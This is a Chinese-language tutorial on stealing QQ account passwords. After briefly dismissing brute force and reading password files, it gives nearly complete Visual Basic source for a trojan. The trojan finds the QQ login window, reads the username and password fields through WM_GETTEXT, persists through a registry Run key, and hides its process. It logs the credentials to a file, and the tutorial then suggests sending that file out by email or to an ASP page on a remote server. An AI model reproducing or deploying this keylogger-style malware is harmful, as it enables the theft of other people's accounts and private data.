盜QQ的幾種方法:
1.窮舉法
窮舉法可以說是最簡單有效方法了.也就是我們通常說的暴力破解.但缺點是用時久速度慢,而且騰迅為了避免亂用暴力,推出了第二代QQ使用字元驗證登陸QQ...所以這種方法也隨之過時了...本人也不做過多的詮釋...
2.直接讀取密碼檔案
現在QQ的加密越來越強,要用這種方法可以花上不少的功夫,而且在網吧上網的人,都有離開時,刪除自己 QQ號目錄的習慣,因此有時這種方法根本無能為力。
3.監視法
就是被眾人稱為的"木馬".也是現在網上最流行的一種盜號方法.通過視窗函數取得密碼的方法(適用任何版本的QQ)原理和木馬代碼我會詳細解說.以下是用VB編寫的一個列子:
設計思路
我們知道QQ的密碼框並沒有進行特別的處理,也就是說用可以通過 SendMessage 發送 WM_GETTEXT 取得密碼框中的值,我們可以利用這一點來完成密碼的截取,具體請看下面:
使用 Timer 控制項,監視QQ。
用遍查視窗的方法(EnumWindows),取得所有的視窗標題(GetWindowText),判斷其中是否為"QQ使用者登入"的標題,取 得QQ登入視窗的子視窗(視窗上的控制項)的類名(GetClassName),然後通過 ComboBox、Edit 取得使用者名稱和密碼(通過 SendMessage 發送 WM_GETTEXT 取得值)。
由於不能判斷外部按鍵事件的發生,只有通過不斷的取得密碼值,具體方法如下:
首先取得 使用者名稱的值,然後不停的取密碼的值,再判斷視窗的標題是否為使用者名稱,如果為使用者名稱,則最後一次密碼的值就是真正的密碼,到此程式完成。
程式編製
(1)首先為了避免程式被多次裝載,造成系統資源的浪費、及不必要的錯誤。
聲明變數、過程及 API 函數,寫在 Module1.bas 檔案中
Declare Function CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" (ByVal hFile As Long, lpFileMappigAttributes As SECURITY_ATTRIBUTES, ByVal flProtect As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lpName As String) As Long '建立一個新的檔案對應物件 Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long '關閉一個核心對象 Type SECURITY_ATTRIBUTES nLength As Long lpSecurityDescriptor As Long bInheritHandle As Long End Type Const PAGE_READWRITE = 1 Const ERROR_ALREADY_EXISTS = 183& |
建立判斷程式是否多啟動的過程
Sub Main() Dim ynRun As Long Dim sa As SECURITY_ATTRIBUTES sa.bInheritHandle = 1 sa.lpSecurityDescriptor = 0 sa.nLength = Len(sa) ynRun = CreateFileMapping(&HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, App.title) '建立記憶體對應檔 If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then '如果指定記憶體檔案已存在,則退出 CloseHandle ynRun '退出程式前關閉記憶體對應檔 End End If End Sub |
(2)即時監視,就需要在系統啟動時,程式自啟動,這裡使用修改註冊表的方法
聲明變數、過程及 API 函數,寫在 Module1.bas 檔案中
Declare Function RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey&, ByVal lpszSubKey$, lphKey&) '在指定的項下建立一個新項。如指定的項已經存在,那麼函數會開啟現有的項
Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long '設定指定項或子項的預設值
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1
建立使程式自啟動的過程
sub AutoRun() Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String Dim Ret As Integer, lphKey As Long sKeyName = "Software/Microsoft/Windows/CurrentVersion/Run" '是啟動項在註冊表中位置,大家可能通過 regedit.exe 來查看 sKeyValue = App.Path & IIf(Len(App.Path) > 3, "/" & "KillOicq.exe", "KillOicq.exe") 'monitor.exe 為這個程式 Ret = RegCreateKey&(HKEY_LOCAL_MACHINE, sKeyName, lphKey) '建立新的啟動項 Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) '設定索引值 End Sub |
(3)實現程式自身的隱藏(Me.Hide)、在關閉程式對話方塊中隱藏。
聲明變數、過程及 API 函數,寫在 Module1.bas 檔案中
Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Const RSP_SIMPLE_SERVICE = 1 '隱藏
建立實現程式自身在關閉程式對話方塊中的隱藏的過程
Sub HideMyWin() RegisterServiceProcess lngProcessID, RSP_SIMPLE_SERVICE End Sub |
(4)即時監視是否運行了 OICQ
載入 1 個 Timer 控制項,其 Interval 的值為1(你也可以自己設定,盡量少點),這個程式就是通過 Timer 來實現監視的。
Private Sub Timer1_Timer() EnumWindows AddressOf EnumProc, 0 '枚舉視窗列表中的所有父視窗(頂級和被所有視窗),開始監視程式 End Sub |
聲明變數、過程、函數及 API 函數,寫在 Module1.bas 檔案中
Option Explicit Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, ByVal lParam As Long) As Long '遍查視窗 Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long '取得視窗標題 Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long '為指定的視窗取得 類名 Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long '獲得一個視窗的控制代碼 Const GW_CHILD = 5 '尋找源視窗的第一個子視窗 Const GW_HWNDNEXT = 2 '為源視窗尋找下一個兄弟視窗 Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal _ wMsg As Long, ByVal wParam As Long, lParam As Any) As Long '發送訊息 Const WM_GETTEXT = &HD Const WM_GETTEXTLENGTH = &HE Dim buf As String Dim nameall, name, passwordall, password As String Dim i As Integer Dim title, titleall, filepath As String Public Function EnumProc(ByVal app_hwnd As Long, ByVal lParam As Long) As Boolean '遍查主視窗 Dim buf As String * 1024 Dim length As Long filepath = App.Path & "/0.txt" '0.txt 為儲存帳號、密碼的檔案 If Dir(filepath) = "" Then title = "" titleall = "" End If length = GetWindowText(app_hwnd, buf, Len(buf)) title = Left$(buf, length) '取得視窗的標題 If InStr(title, "OICQ使用者登入") Then '判斷是否為QQ視窗 Call GetZiWin(app_hwnd) '調用(5),取得 OICQ 視窗中的帳號、密碼框的類名 End If If title <> "" Then If InStr(titleall, title) Then EnumProc = 1 Else titleall = titleall + title 'title 是指取得的視窗標題 If name <> "" Then '取得的帳號 If InStr(title, name) Then SaveFile '儲存帳號密碼(如果取得的標題等於取得的帳號,則表示使用者名稱、密碼已順利取出了),就調用(7) End If End If End If EnumProc = 1 End Function |
(5)取得 OICQ 視窗中的使用者名稱、密碼框的類名
自訂取得子視窗類名的函數,寫在 Module1.bas 檔案中
我們知道 OICQ 主視窗的使用者名稱的類名是 ComboBox,密碼框的類名是 Edit,這裡可以通過取得類名的辦法,取得它們的控制代碼,從而取得它們的值。
Public Function GetZiWin(window_hwnd As Long) As String Dim buflen As Long Dim child_hwnd As Long Dim children() As Long Dim num_children As Integer Dim i As Integer '取得類名 buflen = 256 buf = Space$(buflen - 1) buflen = GetClassName(window_hwnd, buf, buflen) buf = Left$(buf, buflen) If Right(buf, 8) = "ComboBox" Or Right(buf, 4) = "Edit" Then '進行判斷 GetZiWin = GetWinText(window_hwnd) '調用(6),取得它們的值 Exit Function End If num_children = 0 child_hwnd = GetWindow(window_hwnd, GW_CHILD) '取得第 1 個子視窗的控制代碼 Do While child_hwnd <> 0 '如果有子視窗 num_children = num_children + 1 ReDim Preserve children(1 To num_children) children(num_children) = child_hwnd child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) '取得下一個兄弟視窗的控制代碼 Loop For i = 1 To num_children Call GetZiWin(children(i)) Next i End Function |
(6)通過(5)已得到了使用者名稱、密碼框的類名,也就取得了控制代碼,這一步進行取值
自訂取得子視窗的值的函數,寫在 Module1.bas 檔案中
Public Function GetWinText(window_hwnd As Long) As String '取得子視窗的值 Dim txtlen As Long Dim txt As String '通過 SendMessage 發送 WM_GETTEXT 取得地址欄的值 GetWinText = "" If window_hwnd = 0 Then Exit Function txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0) If txtlen = 0 Then Exit Function txtlen = txtlen + 1 txt = Space$(txtlen) txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal txt) GetWinText = Left$(txt, txtlen) If buf = "ComboBox" Then name = GetWinText If InStr(nameall, name) Then i = 0 Else nameall = nameall + name i = i + 1 End If Else password = GetWinText If InStr(passwordall, password) Then i = 0 Else passwordall = passwordall + password i = i + 1 End If End If End Function |
(7)到現在,程式已進行收尾階段,如果在(4)中判斷使用者名稱、密碼順得取出,則儲存相關資訊。
自訂儲存資訊的過程,寫在 Module1.bas 檔案中
Sub SaveFile() Dim file_num As Integer Dim allstr As String allstr = name & Space(5) & password & Space(5) & Now '儲存帳號、密碼、啟動的時間 file_num = FreeFile If Dir(filepath) = "" Then Open filepath For Output As #file_num Else Open filepath For Append As #file_num End If Print #file_num, allstr Close #file_num End Sub |
使用此軟體後,在每次系統啟動時該軟體都會運行,監視QQ,當你開啟QQ ,並輸入密碼,則該軟體在軟體所在目錄記錄裡記下你的QQ帳號和密碼,並儲存在 0.txt 檔案裡,你只要雙擊 0.txt 檔案就能看到帳號、密碼.
補充說明:由於0.txt檔案是儲存在本地的,那麼遠端電腦要想知道對方的密碼怎麼辦呢?我們可以通過郵 箱來實現.也就是把0.txt的檔案通過電子郵件方式發送的指定的郵箱.還可以通過ASP來接受,利用一個FTP空間或者利用某網站,掛一個ASP檔案上 去,再利用木馬將帳號密碼發送到儲存ASP檔案的指定路徑就行了。